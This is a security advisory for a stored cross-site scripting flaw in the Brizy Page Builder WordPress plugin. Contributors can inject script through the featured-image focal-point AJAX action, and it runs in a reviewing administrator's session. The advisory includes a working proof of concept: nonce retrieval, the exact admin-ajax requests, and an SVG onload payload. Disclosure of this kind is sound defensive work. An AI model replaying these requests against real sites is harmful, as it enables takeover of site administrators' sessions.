Brizy – Page Builder < 2.8.19 – Contributor+ Stored XSS via Featured Image Focal Point | CVE 2026-16069

Description

The plugin does not sanitize or escape featured-image focal-point coordinates submitted through one of its AJAX actions before storing them and later echoing them into HTML attributes in the post editor's Featured Image meta box, allowing users with the Contributor role or above to inject arbitrary web scripts that execute in the session of a higher-privileged user who opens the post for review.

Proof of Concept

Attacker = default Contributor, owns post {POST_ID} (Brizy enabled) with featured image {ATTACH_ID}.
{VER} = plugin editor version string (BRIZY_EDITOR_VERSION, e.g. 368-wp for 2.8.18), visible to any logged-in user in the Brizy editor / heartbeat response.

1) As the Contributor, get a brizy-api nonce:
   POST /wp-admin/admin-ajax.php   (Contributor session)
   action=brizy_heartbeat&hash=invalid&pageId={POST_ID}
   -> response data.hash = the nonce

2) As the Contributor, set the featured image, then store the payload as the focal point:
   POST /wp-admin/admin-ajax.php  (Contributor cookie)
   action=brizy_set_featured_image&post={POST_ID}&attachmentId={ATTACH_ID}&version={VER}&hash={nonce}

   POST /wp-admin/admin-ajax.php  (Contributor cookie)
   action=brizy_set_featured_image_focal_point&post={POST_ID}&attachmentId={ATTACH_ID}&version={VER}&hash={nonce}&pointY=50&pointX=50"><svg onload=alert(document.domain)>
   (URL-encode pointX)
   Both return {"success":true}. Stored meta brizy_attachment_focal_point = {"x":"50\"><svg onload=alert(document.domain)>","y":"50"} (raw, no int cast).

3) An Editor/Administrator opens the Contributor's post for review (classic Featured Image meta box):
   GET /wp-admin/post.php?post={POST_ID}&action=edit
   The meta box HTML contains the payload UNESCAPED in a style attribute and a hidden input value;
   alert(document.domain) executes in the reviewer's wp-admin session.